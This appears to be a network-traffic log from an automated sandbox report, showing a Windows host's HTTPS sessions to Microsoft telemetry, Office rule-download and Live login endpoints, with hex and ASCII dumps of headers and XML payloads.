3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-12T03:16:33.829Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"fbb482dc-6097-4608-87fc-62f8fe3e9809","epoch":"3409387024"},"app":{"loc
2024-11-12 03:16:35 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=88dfca5756e04ae3aaecf46ca31d6d33&HASH=88df&LV=202411&V=4&LU=1731381395477; Domain=.microsoft.com; Expires=Wed, 12 Nov 2025 03:16:35 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=936b037576b84cfdb3c854967eed0e50; Domain=.microsoft.com; Expires=Tue, 12 Nov 2024 03:46:35 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1647 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 12 Nov 2024 03:16:34 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:35 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 57b0571f-501e-00a3-7dfb-2cc0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031635Z-16547b76f7f67wxlhC1DFWah9w0000000f1000000000bcwm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:35 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:36 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 06fd63be-801e-008f-5e01-2d2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031635Z-16547b76f7fdtmzhhC1DFW6zhc00000003yg000000009u8k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:36 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:35 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:35 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: a5c21d46-701e-0050-7ca1-346767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031635Z-15869dbbcc6bdtw9hC1DFW9m4s000000072g00000000fzw5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:36 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:35 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:36 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:36 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: bf72d7c2-301e-001f-2fa0-34aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031636Z-15869dbbcc662ldwhC1DFWh4e000000005eg00000000e6gq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:36 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:36 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:36 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:36 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 52d88e03-c01e-007a-7b0b-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031636Z-16547b76f7f22sh5hC1DFWyb4w0000000exg00000000gqry x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:36 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:36 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:36 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:36 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: d55876ee-301e-0099-5603-2d6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031636Z-16547b76f7fx6rhxhC1DFW76kg0000000ey000000000nxr4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:36 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	49892	20.190.159.0	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:36 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-12 03:16:36 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-12 03:16:37 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 12 Nov 2024 03:15:37 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C504_SN1 x-ms-request-id: e7f21cca-2d6e-44d2-978f-94ec276b5501 PPServer: PPV: 30 H: SN1PEPF0002F030 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 12 Nov 2024 03:16:36 GMT Connection: close Content-Length: 11392
2024-11-12 03:16:37 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:36 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:36 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:36 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 162cf1ac-401e-002a-0c09-2dc62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031636Z-16547b76f7f2g4rlhC1DFWnx880000000f000000000088ec x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:36 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:36 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:36 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:36 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 6dc34679-101e-0034-7d01-2d96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031636Z-16547b76f7fcjqqhhC1DFWrrrc0000000f2g0000000073ke x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:36 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:36 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:37 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:36 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 53ebd79e-c01e-0046-4ea1-342db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031636Z-17df447cdb5vq4m4hC1DFW2t8w00000000hg00000000m7s2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:37 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:36 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:37 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:37 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 2f2a95d3-901e-00ac-5b08-2cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031637Z-16547b76f7f22sh5hC1DFWyb4w0000000f1g000000003une x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
